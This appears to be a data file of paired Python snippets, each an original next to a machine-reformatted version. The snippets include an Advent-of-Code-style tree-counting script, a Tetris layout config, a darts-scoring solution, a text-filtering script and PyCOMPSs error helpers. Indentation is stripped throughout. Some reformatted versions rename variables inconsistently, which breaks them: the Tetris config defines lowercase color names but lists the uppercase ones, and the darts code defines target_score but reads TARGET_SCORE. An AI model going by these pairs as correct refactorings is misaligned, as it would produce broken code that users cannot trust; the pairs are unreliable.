#.#.##.......##...#........##.#
.##.#.#......#.....#...#.....#.
....####.##.......#..##..##.#..
#.#.......#..##....###..#...#..
..#..#....#...#.#.#.#...#......
##.........#.##................
........#.....................#
..#...........#..#..##.#..#.#..
#...#...................#.###..
##..#............#.........#..#
...............##...#...##....#
#.#.....#..#.......#......#....
.#...#......#............#.....
#.......#...#..#....#.......#..
...#....#.##.#....#....#.#.....
...#..#..............#..#.#..#.
.........#.....#.#...#..#....#.
..#..#..#...##.....##.#.....#..
.#.#..........#........#.......
...............#........#.#.#..
.#......#.....#..............#.
........#.#..............#.#...
.......#.#....#..#.#.#..#.#.##.
...##..#...#.#..#...........#..
#...###.#.....#..#........#....
.#...##...##...##.#.....###....
.........#......#.#..##.#.#....
#....#.#..#...#.#.#....#..#..#.
.#.#...#......###.....#........
#.....#.#.......#..#.#...#.....
.................#.#....#..##..
#...........#....###..#......#.
##.#..#....#.#.#.#.............
#.....#..#...#........#........
..#..#......#..#.##.#..........
...#....#..#..........#.#.##.##
#........#...#.......#..##.#...
.#.#..#....#.#....#......#.....
##.......##.#........#...#..##.
##.##.....#.......#####.#....#.
..#..###.#.#..#....###..#.##..#
#.........#.............#.#...#
..#...##.#..................#..
.....#.#....#.#..#.#........#.#
......#.......#.#..##.#.#..#...
..#......#.#..##......#..#....#
..##..#..#.##.#..#....#...##...
###....#...##....##.........#..
#........##.........#......#..#
...#.........#......#.##.......
.....#.#.#....#......#.........
..#...........#....#......#.#..
##........#...##.....######....
....#..#..##.......#..#..#.....
..#....#..##....#......##....#.
...##....#........##......#....
.#.#...###...#......#..........
#....#..#.##.........#...#.....
......#..#.........#.##.....#..
...#............##....#......#.
...#.....##.....#........#.#..#
......#.#..#......#.....#..##..
#.#.........##..........#......
..###.....#..#....##..........#
.............##..#....#..##....
....#.#....##..#......#...#....
....###.....#..#.......#.......
............#..#...............
......#........#..#......#.....
.#........#.......#.##.......#.
..#.........#..#.#.....##....#.
...#.......#.......#.......##.#
#......##.#.....#......##.#..#.
#..........#.................#.
....#..##...........#.....#.#..
#.###...#............#.#....#.#
....#......#.#..###....##..#...
....#...#..........##..........
..#.#............#...#...###...
......#...#......#..#.#........
.#.......#..#...........##...#.
##...#...##....##.#..#..#.#....
.......#........#............##
.#......#...#.#................
#.#........#.#....#..#.##......
.......#.#...#....##.......##..
........#.#.#.........##..##...
..##...............#.#.###.#...
......#.#....#..#......##.....#
###.........#.....#.#.....##...
.#.#....#.....#.#.##..#.......#
..#..#.#......#...##..##.#..#..
...#........#..#....#..........
#...#.#...#..##....##..........
.........#........#.##....#..#.
..#...#.#.......##..........##.
###...........##.#......#.#..#.
...#....#...#..#..#......#.....
.....##.......###.#....###..##.
...#...#..........#.#......#...
....#.....##...##..#.#........#
.....#...#..#.....##...##....#.
................##.#.##....##.#
.#..#..#....#.....#....#..#...#
.....###.....#.................
#...#..##..#.........#.........
.....#..#................#.....
.#..#...#......#..#............
...#...#.#....#....##...#...##.
..........#....#.#..#.#.....#..
....#...###.##...#..#..#......#
#...#.......#..........#..#....
.#............#..##.......#...#
....#..#...#............#..#.#.
.#....#.......#..#.#......#....
...#...#............#...#.....#
....#.#.#..##.#.....#...#.#....
......#.#.#......#..#...#.....#
......##.....#.............#...
..#...#..#.#....#..............
.#.#..#....#.#..##....###.##...
..#...........#....#.###.#....#
.....#.........#.#.............
...#.#.....#......###......##..
...#...#.....#.................
...#..#...##.....##.........#..
..#...#..#..##..#...#........#.
##..#.#.##.#....#...........#..
.......#....##....#...##..#..#.
#.......##.#...##...##..#.....#
....#.#...............#......#.
....#.#...#.....#....#......#..
.#.........#.#....###........#.
.#.#.....#.....#.#.#....#.#....
............#...........#.#..##
#...#......#..#......#.#.......
...#.#.#.....#..#...#..##......
...#.#..#...#....#.........#.#.
........#..#......##.....#...#.
...#..#..............#..#......
.........#.......#...#......#..
.#......#.....#.....#......#...
......#.......#....#...#.#.....
.#.....#.##..#........#...#....
#.....##..##....#.#.......#..#.
.#..#...#..#.......#...........
..#..#...#.....##....#.....#...
#.#..............#....#..#.....
.........##...#......#.##...##.
.###...#.#...#.....#.........#.
.....#..........##...#..#....##
.#..#......#....##.#...#.......
.............###.#.#..#.#.#...#
.......#...##..#..#.....###....
##.......#...........#....#.#..
##......#...#.#................
.#.####..##.#...............#..
..#...#.#.#..#...#........#...#
.##..##.##.....#.......#..#.#..
...................#......#.#..
#.##..#..........#.............
##..#......#....#.#............
.#........#.....##...#.........
.##....#..#..##..........#...#.
#..........##........#..#..#.#.
####.###.#.....#....#..#.#....#
..#...#...#.#.......#....#...#.
......##.###..##.#.###......#.#"""
position = 0
trees = 0
for line in tree_map.split("\n"):
if line[position % len(line)] == "#":
trees += 1
position += 3
print(trees)
| tree_map = '.......#................#......\n...#.#.....#.##.....#..#.......\n..#..#.#......#.#.#............\n....#...#...##.....#..#.....#..\n....#.......#.##......#...#..#.\n...............#.#.#.....#..#..\n...##...#...#..##.###...##.....\n##..#.#...##.....#.#..........#\n.#....#..#..#......#....#....#.\n...........................#...\n..........#.......#..#.....#.#.\n..#.......###..#.#.......#.#...\n....#..#....#....#..........#..\n..##..#.......#.#...#..........\n.....#.......#.....#....#......\n..........##..#................\n....##.#..###...#..##.....#.#..\n..#..#.#.#...#......#...#.....#\n....#.#....#...####.##.........\n..#.........##...##.#..#..#....\n.#......#...#..#..##.#.........\n.#....#.......#..##..##..#.#.#.\n...........#....#......#.......\n..#....#....#...............#..\n..#.....#....###.##.....#.#..#.\n#..........#.#......#.#....#...\n....###...#.#.....#....#.####.#\n........#......#...#...#..##..#\n...##..............##.#.......#\n#..........#...........#.#....#\n#...#....#..####..#............\n###....#........#..............\n...#.##....................#.##\n...#..#.....#.....##...#....#..\n.......###.#...#.........#.....\n.#..#.....#.#..#.....#.........\n#................#.............\n...#......#.#.....##.#.#....#..\n...#..#.#..#.....#...#....#....\n.......#......#........#.....#.\n.#.##..##.....#.#......#.#.#...\n#...............#.....#....#...\n.....#...........#..##.........\n.....#..#........##..#..#.....#\n..###.#.#.......#.#...........#\n##....##....#.#....##...#.##.##\n..................##.#.#.....#.\n.#...........###...#...........\n.#.#....#......#....###.#......\n.......#.##...#...#..#.#.......\n..#.....#.#....#..#............\n.....#..#..#....#..#.........#.\n..##.#......#.....#...#.#..#.#.\n.........#......#....##.......#\n#........#..#.#......#...#.#..#\n...#....#.#..#....##.......###.\n..#...#......#.##..........#...\n........#..#..#...#.......#....\n.##.#..#...#..#........#.#.####\n#..#..#..........#....##...#...\n....#...#........##........#...\n.#......#.......#..#..#........\n#...#.#......#....#............\n#........#..##.#...##..........\n...#..##.....#......##.#..#.#..\n.#.#.....#.....#.####.#..##....\n..........###....#.##...#......\n.......#.......#..#.#.#.##.#..#\n..#.#....#......#.#...#.......#\n.#...#....#......#...#.........\n.#....#..#....#.##.#....#..##..\n...#..#.#..................#...\n.##..#.............##.........#\n...#.#.#................#.....#\n...###..###..................#.\n........##.##..#.#...#.....#...\n.##...##...#...#....#...#......\n#..#....#..#..#.#....#..####...\n.#...............##....##.#....\n#..#................#...#..#...\n.#....#.....#..#.#........#....\n...............##.#..##..##....\n.#......#........#....#.#...#.#\n.#.....#...##.#........#.##.#.#\n..###............#..#.#....#...\n..#.....#.........#....#..#.#..\n.##.....#.#..........#.#....##.\n...#...#....#..#......#.#.#..#.\n#.....#...#....##...#.......##.\n.......#.#.........##..........\n............##.#.##...#.......#\n.....#........##...#........#..\n.#........#.#.#.#....#.........\n#....#..#....#.#..#...#.#......\n....##...........#...#...##.#.#\n......#...##.###.....#.........\n............#..##....##......#.\n......##....#...#.#....#......#\n#..#..#..#.#.#.........#...##.#\n...#.........#...#.........##.#\n#.#.....#.......#.##..#..#.....\n##................#......#....#\n....#..#.......#....##.....#...\n.....#..#...#...#......#.#....#\n..#....#.....#.........#.....#.\n..#..#..........#.....#........\n.......#..##.#......#.#........\n.............##.....#....#.....\n...#....#..#.#.#...............\n........#....##..#...#........#\n..##...............#.....#....#\n........##.#.##.#......#..#....\n..#.##.......#..........##..#..\n.#..............#.#.##.........\n.#.......#....#....#.#.#.......\n.#.##.......#....#......###.#..\n.......#...#............##.....\n........#.#..........##..#.....\n...###..#......#.....##..#..#..\n...........##......#....#......\n..............#....#..#..#.#..#\n....#...#......#.##...#........\n.#.............#..#......###.#.\n#...#..#.#..............##..#.#\n....................#.........#\n..##..#......#.###.....#...#.#.\n.#....#.#........#...#........#\n..#....#.....#..............#..\n##..........#..#..#...#........\n...........#..##...#.......#...\n........##.............#.......\n#....#........#..#.#.###..#....\n...........##..........##......\n#......#.....##.#.##......##...\n..#......#.........#.......#..#\n......#.#....##..##.#...#.#...#\n......#..................##....\n...#....#.#...#.#.......##.....\n#.#...##...##........#...##....\n..#.......#.#.#...#............\n.......#......#..#...#.........\n#...#..#...........##..........\n......#....#.........#.#....#..\n#......#........#...#..##....#.\n.....#.......##..#.#......#..#.\n...........#......#...#......#.\n#.#.##.....#....#.....##......#\n.....##..#.#.#.###........#.#..\n...#...#.#......#......#.......\n......###....#..##...#.#.##....\n#.....#.....#..................\n...#...#......#...............#\n..#............##..#.....#.....\n.#....#...#...#...#...#..#.....\n.##......#.........#.###.#.....\n#.#.##.......##...#........##.#\n.##.#.#......#.....#...#.....#.\n....####.##.......#..##..##.#..\n#.#.......#..##....###..#...#..\n..#..#....#...#.#.#.#...#......\n##.........#.##................\n........#.....................#\n..#...........#..#..##.#..#.#..\n#...#...................#.###..\n##..#............#.........#..#\n...............##...#...##....#\n#.#.....#..#.......#......#....\n.#...#......#............#.....\n#.......#...#..#....#.......#..\n...#....#.##.#....#....#.#.....\n...#..#..............#..#.#..#.\n.........#.....#.#...#..#....#.\n..#..#..#...##.....##.#.....#..\n.#.#..........#........#.......\n...............#........#.#.#..\n.#......#.....#..............#.\n........#.#..............#.#...\n.......#.#....#..#.#.#..#.#.##.\n...##..#...#.#..#...........#..\n#...###.#.....#..#........#....\n.#...##...##...##.#.....###....\n.........#......#.#..##.#.#....\n#....#.#..#...#.#.#....#..#..#.\n.#.#...#......###.....#........\n#.....#.#.......#..#.#...#.....\n.................#.#....#..##..\n#...........#....###..#......#.\n##.#..#....#.#.#.#.............\n#.....#..#...#........#........\n..#..#......#..#.##.#..........\n...#....#..#..........#.#.##.##\n#........#...#.......#..##.#...\n.#.#..#....#.#....#......#.....\n##.......##.#........#...#..##.\n##.##.....#.......#####.#....#.\n..#..###.#.#..#....###..#.##..#\n#.........#.............#.#...#\n..#...##.#..................#..\n.....#.#....#.#..#.#........#.#\n......#.......#.#..##.#.#..#...\n..#......#.#..##......#..#....#\n..##..#..#.##.#..#....#...##...\n###....#...##....##.........#..\n#........##.........#......#..#\n...#.........#......#.##.......\n.....#.#.#....#......#.........\n..#...........#....#......#.#..\n##........#...##.....######....\n....#..#..##.......#..#..#.....\n..#....#..##....#......##....#.\n...##....#........##......#....\n.#.#...###...#......#..........\n#....#..#.##.........#...#.....\n......#..#.........#.##.....#..\n...#............##....#......#.\n...#.....##.....#........#.#..#\n......#.#..#......#.....#..##..\n#.#.........##..........#......\n..###.....#..#....##..........#\n.............##..#....#..##....\n....#.#....##..#......#...#....\n....###.....#..#.......#.......\n............#..#...............\n......#........#..#......#.....\n.#........#.......#.##.......#.\n..#.........#..#.#.....##....#.\n...#.......#.......#.......##.#\n#......##.#.....#......##.#..#.\n#..........#.................#.\n....#..##...........#.....#.#..\n#.###...#............#.#....#.#\n....#......#.#..###....##..#...\n....#...#..........##..........\n..#.#............#...#...###...\n......#...#......#..#.#........\n.#.......#..#...........##...#.\n##...#...##....##.#..#..#.#....\n.......#........#............##\n.#......#...#.#................\n#.#........#.#....#..#.##......\n.......#.#...#....##.......##..\n........#.#.#.........##..##...\n..##...............#.#.###.#...\n......#.#....#..#......##.....#\n###.........#.....#.#.....##...\n.#.#....#.....#.#.##..#.......#\n..#..#.#......#...##..##.#..#..\n...#........#..#....#..........\n#...#.#...#..##....##..........\n.........#........#.##....#..#.\n..#...#.#.......##..........##.\n###...........##.#......#.#..#.\n...#....#...#..#..#......#.....\n.....##.......###.#....###..##.\n...#...#..........#.#......#...\n....#.....##...##..#.#........#\n.....#...#..#.....##...##....#.\n................##.#.##....##.#\n.#..#..#....#.....#....#..#...#\n.....###.....#.................\n#...#..##..#.........#.........\n.....#..#................#.....\n.#..#...#......#..#............\n...#...#.#....#....##...#...##.\n..........#....#.#..#.#.....#..\n....#...###.##...#..#..#......#\n#...#.......#..........#..#....\n.#............#..##.......#...#\n....#..#...#............#..#.#.\n.#....#.......#..#.#......#....\n...#...#............#...#.....#\n....#.#.#..##.#.....#...#.#....\n......#.#.#......#..#...#.....#\n......##.....#.............#...\n..#...#..#.#....#..............\n.#.#..#....#.#..##....###.##...\n..#...........#....#.###.#....#\n.....#.........#.#.............\n...#.#.....#......###......##..\n...#...#.....#.................\n...#..#...##.....##.........#..\n..#...#..#..##..#...#........#.\n##..#.#.##.#....#...........#..\n.......#....##....#...##..#..#.\n#.......##.#...##...##..#.....#\n....#.#...............#......#.\n....#.#...#.....#....#......#..\n.#.........#.#....###........#.\n.#.#.....#.....#.#.#....#.#....\n............#...........#.#..##\n#...#......#..#......#.#.......\n...#.#.#.....#..#...#..##......\n...#.#..#...#....#.........#.#.\n........#..#......##.....#...#.\n...#..#..............#..#......\n.........#.......#...#......#..\n.#......#.....#.....#......#...\n......#.......#....#...#.#.....\n.#.....#.##..#........#...#....\n#.....##..##....#.#.......#..#.\n.#..#...#..#.......#...........\n..#..#...#.....##....#.....#...\n#.#..............#....#..#.....\n.........##...#......#.##...##.\n.###...#.#...#.....#.........#.\n.....#..........##...#..#....##\n.#..#......#....##.#...#.......\n.............###.#.#..#.#.#...#\n.......#...##..#..#.....###....\n##.......#...........#....#.#..\n##......#...#.#................\n.#.####..##.#...............#..\n..#...#.#.#..#...#........#...#\n.##..##.##.....#.......#..#.#..\n...................#......#.#..\n#.##..#..........#.............\n##..#......#....#.#............\n.#........#.....##...#.........\n.##....#..#..##..........#...#.\n#..........##........#..#..#.#.\n####.###.#.....#....#..#.#....#\n..#...#...#.#.......#....#...#.\n......##.###..##.#.###......#.#'
position = 0
trees = 0
for line in tree_map.split('\n'):
if line[position % len(line)] == '#':
trees += 1
position += 3
print(trees) |
# data for single play
num_rows = 23
num_columns = 10
block_size = 60
screen_width = block_size * 40
screen_length = block_size * 22
field_width = block_size * 10
field_length = block_size * 20
field_x = block_size * 7
field_y = block_size * 1
hold_ratio = 0.8
hold_block_size = block_size * hold_ratio
hold_width = hold_block_size * 5
hold_length = hold_block_size * 5
hold_x = block_size * 1
hold_y = block_size * 8
hold_text_x = block_size * 1
hold_text_y = block_size * 7
score_width = block_size * 5
score_length = block_size * 1
score_x = block_size * 1
score_y = block_size * 17
score_text_x = block_size * 1
score_text_y = block_size * 16
nexts_ratio = 0.7
nexts_block_size = block_size * nexts_ratio
nexts_width = nexts_block_size * 5
nexts_length = nexts_block_size * 5
nexts_text_x = field_x + field_width + block_size * 2
nexts_text_y = block_size * 1
nexts_x = [field_x + field_width + block_size * 2] * 5
nexts_y = [nexts_text_y + block_size + i * (nexts_length + 10) for i in range(5)]
op_field_x = nexts_x[0] + nexts_width + 80
op_field_y = field_y
op_field_width = field_width
op_field_length = field_length
fire_x = field_x + field_width + 30
fire_y = field_y
fire_width = block_size
fire_length = field_length
BLACK = (0, 0, 0)
WHITE = (255, 255, 255)
COLOR_BG = (43, 43, 43)
COLOR_I = (38, 203, 226)
COLOR_J = (0, 0, 200)
COLOR_L = (221, 109, 23)
COLOR_O = (243, 250, 0)
COLOR_S = (114, 238, 0)
COLOR_T = (140, 3, 140)
COLOR_Z = (250, 0, 0)
# color for fires
COLOR_F = (65, 85, 86)
COLORS = [COLOR_BG, COLOR_I, COLOR_J, COLOR_L, COLOR_O, COLOR_S, COLOR_T, COLOR_Z, COLOR_F]
# data for main menu
# title should be the center of the screen
title_name = 'Tetris'
title_size = [800, 300]
title_from_top = 100
title_center = [screen_width / 2, title_from_top + title_size[1] / 2]
title_x = title_center[0] - title_size[0] / 2
title_y = title_from_top
options_margin = 80 # margin between options
# single play option layout data
sp_size = [800, 160]
sp_center = [
screen_width / 2,
title_y + title_size[1] + options_margin + sp_size[1] / 2
]
sp_x = sp_center[0] - sp_size[0] / 2
sp_y = sp_center[1] - sp_size[1] / 2
sp_color = (38, 17, 115)
#online play option layout data
op_size = [800, 160]
op_center = [
screen_width / 2,
sp_y + sp_size[1] + options_margin + op_size[1] / 2
]
op_x = op_center[0] - op_size[0] / 2
op_y = op_center[1] - op_size[1] / 2
op_color = (100, 0, 0)
# challenge AI option layout data
ca_size = [800, 160]
ca_center = [
screen_width / 2,
op_y + op_size[1] + options_margin + ca_size[1] / 2
]
ca_x = ca_center[0] - ca_size[0] / 2
ca_y = ca_center[1] - ca_size[1] / 2
ca_color = (0, 102, 0)
# p: pause layout while playing
pause_option_x = 50
pause_option_y = 50
pause_option_size = [300, 50]
# pause layout
# pause background
pause_size = [800, 400]
pause_center = [screen_width / 2, screen_length /2]
pause_x = pause_center[0] - pause_size[0] / 2
pause_y = pause_center[1] - pause_size[1] / 2
pause_color = (0, 0, 150)
# pause resume button
pause_resume_from_top = 30
pause_resume_size = [600, 150]
pause_resume_center = [pause_center[0], pause_y + pause_resume_from_top + pause_resume_size[1] / 2]
pause_resume_x = pause_resume_center[0] - pause_resume_size[0] / 2
pause_resume_y = pause_y + pause_resume_from_top
# pause back-to-menu button
pause_to_menu_from_bottom = 30
pause_to_menu_size = [600, 150]
pause_to_menu_center = [pause_center[0], pause_y + pause_size[1] - pause_to_menu_from_bottom - pause_to_menu_size[1] / 2]
pause_to_menu_x = pause_to_menu_center[0] - pause_to_menu_size[0] / 2
pause_to_menu_y = pause_to_menu_center[1] - pause_to_menu_size[1] / 2 | num_rows = 23
num_columns = 10
block_size = 60
screen_width = block_size * 40
screen_length = block_size * 22
field_width = block_size * 10
field_length = block_size * 20
field_x = block_size * 7
field_y = block_size * 1
hold_ratio = 0.8
hold_block_size = block_size * hold_ratio
hold_width = hold_block_size * 5
hold_length = hold_block_size * 5
hold_x = block_size * 1
hold_y = block_size * 8
hold_text_x = block_size * 1
hold_text_y = block_size * 7
score_width = block_size * 5
score_length = block_size * 1
score_x = block_size * 1
score_y = block_size * 17
score_text_x = block_size * 1
score_text_y = block_size * 16
nexts_ratio = 0.7
nexts_block_size = block_size * nexts_ratio
nexts_width = nexts_block_size * 5
nexts_length = nexts_block_size * 5
nexts_text_x = field_x + field_width + block_size * 2
nexts_text_y = block_size * 1
nexts_x = [field_x + field_width + block_size * 2] * 5
nexts_y = [nexts_text_y + block_size + i * (nexts_length + 10) for i in range(5)]
op_field_x = nexts_x[0] + nexts_width + 80
op_field_y = field_y
op_field_width = field_width
op_field_length = field_length
fire_x = field_x + field_width + 30
fire_y = field_y
fire_width = block_size
fire_length = field_length
black = (0, 0, 0)
white = (255, 255, 255)
color_bg = (43, 43, 43)
color_i = (38, 203, 226)
color_j = (0, 0, 200)
color_l = (221, 109, 23)
color_o = (243, 250, 0)
color_s = (114, 238, 0)
color_t = (140, 3, 140)
color_z = (250, 0, 0)
color_f = (65, 85, 86)
colors = [COLOR_BG, COLOR_I, COLOR_J, COLOR_L, COLOR_O, COLOR_S, COLOR_T, COLOR_Z, COLOR_F]
title_name = 'Tetris'
title_size = [800, 300]
title_from_top = 100
title_center = [screen_width / 2, title_from_top + title_size[1] / 2]
title_x = title_center[0] - title_size[0] / 2
title_y = title_from_top
options_margin = 80
sp_size = [800, 160]
sp_center = [screen_width / 2, title_y + title_size[1] + options_margin + sp_size[1] / 2]
sp_x = sp_center[0] - sp_size[0] / 2
sp_y = sp_center[1] - sp_size[1] / 2
sp_color = (38, 17, 115)
op_size = [800, 160]
op_center = [screen_width / 2, sp_y + sp_size[1] + options_margin + op_size[1] / 2]
op_x = op_center[0] - op_size[0] / 2
op_y = op_center[1] - op_size[1] / 2
op_color = (100, 0, 0)
ca_size = [800, 160]
ca_center = [screen_width / 2, op_y + op_size[1] + options_margin + ca_size[1] / 2]
ca_x = ca_center[0] - ca_size[0] / 2
ca_y = ca_center[1] - ca_size[1] / 2
ca_color = (0, 102, 0)
pause_option_x = 50
pause_option_y = 50
pause_option_size = [300, 50]
pause_size = [800, 400]
pause_center = [screen_width / 2, screen_length / 2]
pause_x = pause_center[0] - pause_size[0] / 2
pause_y = pause_center[1] - pause_size[1] / 2
pause_color = (0, 0, 150)
pause_resume_from_top = 30
pause_resume_size = [600, 150]
pause_resume_center = [pause_center[0], pause_y + pause_resume_from_top + pause_resume_size[1] / 2]
pause_resume_x = pause_resume_center[0] - pause_resume_size[0] / 2
pause_resume_y = pause_y + pause_resume_from_top
pause_to_menu_from_bottom = 30
pause_to_menu_size = [600, 150]
pause_to_menu_center = [pause_center[0], pause_y + pause_size[1] - pause_to_menu_from_bottom - pause_to_menu_size[1] / 2]
pause_to_menu_x = pause_to_menu_center[0] - pause_to_menu_size[0] / 2
pause_to_menu_y = pause_to_menu_center[1] - pause_to_menu_size[1] / 2 |
# This file will be patched by setup.py
# The __version__ should be set to the branch name
# Leave __baseline__ set to unknown to enable setting commit-hash
# (e.g. "develop" or "1.2.x")
# You MUST use double quotes (so " and not ')
__version__ = "3.2.0-develop"
__baseline__ = "unknown"
| __version__ = '3.2.0-develop'
__baseline__ = 'unknown' |
def hideUnits(units):
for i in range(len(units)):
hero.command(units[i], "move", {x: 34, y: 10 + i * 12})
peasants = hero.findFriends()
types = peasants[0].buildOrder.split(",")
for i in range(len(peasants)):
hero.command(peasants[i], "buildXY", types[i], 16, 10 + i * 12)
while True:
if hero.findNearestEnemy():
hideUnits(peasants)
break
while True:
enemy = hero.findNearestEnemy()
if enemy and hero.distanceTo(enemy) < 45:
hero.attack(enemy)
| def hide_units(units):
for i in range(len(units)):
hero.command(units[i], 'move', {x: 34, y: 10 + i * 12})
peasants = hero.findFriends()
types = peasants[0].buildOrder.split(',')
for i in range(len(peasants)):
hero.command(peasants[i], 'buildXY', types[i], 16, 10 + i * 12)
while True:
if hero.findNearestEnemy():
hide_units(peasants)
break
while True:
enemy = hero.findNearestEnemy()
if enemy and hero.distanceTo(enemy) < 45:
hero.attack(enemy) |
class Solution:
def findDisappearedNumbers(self, nums: List[int]) -> List[int]:
unique = set(nums)
ans = []
for i in range(1, len(nums) + 1):
if not i in unique:
ans.append(i)
return ans | class Solution:
def find_disappeared_numbers(self, nums: List[int]) -> List[int]:
unique = set(nums)
ans = []
for i in range(1, len(nums) + 1):
if not i in unique:
ans.append(i)
return ans |
# https://www.codingame.com/training/easy/the-dart-101
TARGET_SCORE = 101
def simulate(shoots):
rounds, throws, misses, score = 1, 0, 0, 0
prev_round_score = 0
prev_shot = ''
for shot in shoots.split():
throws += 1
if 'X' in shot:
misses += 1
score -= 20
if prev_shot == 'X': score -= 10
if misses == 3: score = 0
if throws == 3:
throws = 0
rounds += 1
misses = 0
prev_shot = ''
prev_round_score = score
else:
prev_shot = shot
else:
if '*' in shot:
a, b = map(int, shot.split('*'))
points = a * b
else:
points = int(shot)
if score + points == TARGET_SCORE:
return rounds
elif score + points > TARGET_SCORE:
throws = 3
score = prev_round_score
else:
score += points
if throws == 3:
throws = 0
rounds += 1
misses = 0
prev_shot = ''
prev_round_score = score
else:
prev_shot = shot
return -1
def solution():
num_players = int(input())
player_names = [input() for _ in range(num_players)]
shortest_rounds = float('inf')
winner = ''
for i in range(num_players):
shoots = input()
rounds = simulate(shoots)
if rounds != -1 and rounds < shortest_rounds:
shortest_rounds = rounds
winner = player_names[i]
print(winner)
solution()
| target_score = 101
def simulate(shoots):
(rounds, throws, misses, score) = (1, 0, 0, 0)
prev_round_score = 0
prev_shot = ''
for shot in shoots.split():
throws += 1
if 'X' in shot:
misses += 1
score -= 20
if prev_shot == 'X':
score -= 10
if misses == 3:
score = 0
if throws == 3:
throws = 0
rounds += 1
misses = 0
prev_shot = ''
prev_round_score = score
else:
prev_shot = shot
else:
if '*' in shot:
(a, b) = map(int, shot.split('*'))
points = a * b
else:
points = int(shot)
if score + points == TARGET_SCORE:
return rounds
elif score + points > TARGET_SCORE:
throws = 3
score = prev_round_score
else:
score += points
if throws == 3:
throws = 0
rounds += 1
misses = 0
prev_shot = ''
prev_round_score = score
else:
prev_shot = shot
return -1
def solution():
num_players = int(input())
player_names = [input() for _ in range(num_players)]
shortest_rounds = float('inf')
winner = ''
for i in range(num_players):
shoots = input()
rounds = simulate(shoots)
if rounds != -1 and rounds < shortest_rounds:
shortest_rounds = rounds
winner = player_names[i]
print(winner)
solution() |
file = open("sentencesINA.txt","r")
file_lines = file.readlines()
file.close()
good_sentences = set([])
sentences = set([])
count = 0
big_sen_count = 0
good_sen_count = 0
good_value_count = 0
error = 0
for line in file_lines:
first_split = line.find("|| (('")
sentence = line[0:first_split]
split = line[first_split+3:].split("||")
label = split[0]
type = split[1]
website = split[2]
first = label.find("'")
second = label.find("'",first+1)
language = label[first:second+1]
first = label.find("[")
second = label.find("]")
value = label[first+1:second]
try:
if len(sentence) <= 500:
big_sen_count = big_sen_count + 1
if float(value) >= 0.9:
good_value_count = good_value_count + 1
if float(value) >= 0.9 and len(sentence) <= 400:
good_sen_count = good_sen_count + 1
if float(value) >= 0.9 and len(sentence) <= 400:
if sentence not in sentences:
good_sentences.add(line)
sentences.add(sentence)
else:
count = count + 1
else:
count = count + 1
except:
print(line)
error = error + 1
print("Sentences deleated:", count)
print("Unique Sentences:", len(good_sentences))
print("Small Sentences:", big_sen_count)
print("Value Sentences:", good_value_count)
print("Good Sentences:", good_sen_count)
print("Error:", error)
file = open("INAGoodSentences.txt","w")
file.writelines(good_sentences)
| file = open('sentencesINA.txt', 'r')
file_lines = file.readlines()
file.close()
good_sentences = set([])
sentences = set([])
count = 0
big_sen_count = 0
good_sen_count = 0
good_value_count = 0
error = 0
for line in file_lines:
first_split = line.find("|| (('")
sentence = line[0:first_split]
split = line[first_split + 3:].split('||')
label = split[0]
type = split[1]
website = split[2]
first = label.find("'")
second = label.find("'", first + 1)
language = label[first:second + 1]
first = label.find('[')
second = label.find(']')
value = label[first + 1:second]
try:
if len(sentence) <= 500:
big_sen_count = big_sen_count + 1
if float(value) >= 0.9:
good_value_count = good_value_count + 1
if float(value) >= 0.9 and len(sentence) <= 400:
good_sen_count = good_sen_count + 1
if float(value) >= 0.9 and len(sentence) <= 400:
if sentence not in sentences:
good_sentences.add(line)
sentences.add(sentence)
else:
count = count + 1
else:
count = count + 1
except:
print(line)
error = error + 1
print('Sentences deleated:', count)
print('Unique Sentences:', len(good_sentences))
print('Small Sentences:', big_sen_count)
print('Value Sentences:', good_value_count)
print('Good Sentences:', good_sen_count)
print('Error:', error)
file = open('INAGoodSentences.txt', 'w')
file.writelines(good_sentences) |
# Neat trick to make simple namespaces:
# http://stackoverflow.com/questions/4984647/accessing-dict-keys-like-an-attribute-in-python
class Namespace(dict):
def __init__(self, *args, **kwargs):
super(Namespace, self).__init__(*args, **kwargs)
self.__dict__ = self
| class Namespace(dict):
def __init__(self, *args, **kwargs):
super(Namespace, self).__init__(*args, **kwargs)
self.__dict__ = self |
#!/usr/bin/python
#
# Copyright 2002-2019 Barcelona Supercomputing Center (www.bsc.es)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# -*- coding: utf-8 -*-
"""
PyCOMPSs API - COMMONS - ERROR MESSAGES
=======================================
This file defines the public PyCOMPSs error messages displayed
by the api.
"""
def not_in_pycompss(decorator_name):
"""
Retrieves the "not in PyCOMPSs scope" error message.
:param decorator_name: Decorator name which requires the message.
:return: String - Not in PyCOMPSs error message.
"""
return "The " + decorator_name + \
" decorator only works within PyCOMPSs framework."
def cast_env_to_int_error(what):
"""
Retrieves the "can not cast from environment variable to integer" error
message.
:param what: Environment variable name.
:return: String - Can not cast from environment variable to integer.
"""
return "ERROR: " + what + " value cannot be cast from ENV variable to int"
def cast_string_to_int_error(what):
"""
Retrieves the "can not cast from string to integer" error message.
:param what: Environment variable name.
:return: String - Can not cast from string to integer.
"""
return "ERROR: " + what + " value cannot be cast from string to int"
def wrong_value(value_name, decorator_name):
"""
Retrieves the "wrong value at decorator" error message.
:param value_name: Wrong value's name
:param decorator_name: Decorator name which requires the message.
:return: String - Wrong value at decorator message.
"""
return "ERROR: Wrong " + value_name + \
" value at " + decorator_name + \
" decorator."
| """
PyCOMPSs API - COMMONS - ERROR MESSAGES
=======================================
This file defines the public PyCOMPSs error messages displayed
by the api.
"""
def not_in_pycompss(decorator_name):
"""
Retrieves the "not in PyCOMPSs scope" error message.
:param decorator_name: Decorator name which requires the message.
:return: String - Not in PyCOMPSs error message.
"""
return 'The ' + decorator_name + ' decorator only works within PyCOMPSs framework.'
def cast_env_to_int_error(what):
"""
Retrieves the "can not cast from environment variable to integer" error
message.
:param what: Environment variable name.
:return: String - Can not cast from environment variable to integer.
"""
return 'ERROR: ' + what + ' value cannot be cast from ENV variable to int'
def cast_string_to_int_error(what):
"""
Retrieves the "can not cast from string to integer" error message.
:param what: Environment variable name.
:return: String - Can not cast from string to integer.
"""
return 'ERROR: ' + what + ' value cannot be cast from string to int'
def wrong_value(value_name, decorator_name):
"""
Retrieves the "wrong value at decorator" error message.
:param value_name: Wrong value's name
:param decorator_name: Decorator name which requires the message.
:return: String - Wrong value at decorator message.
"""
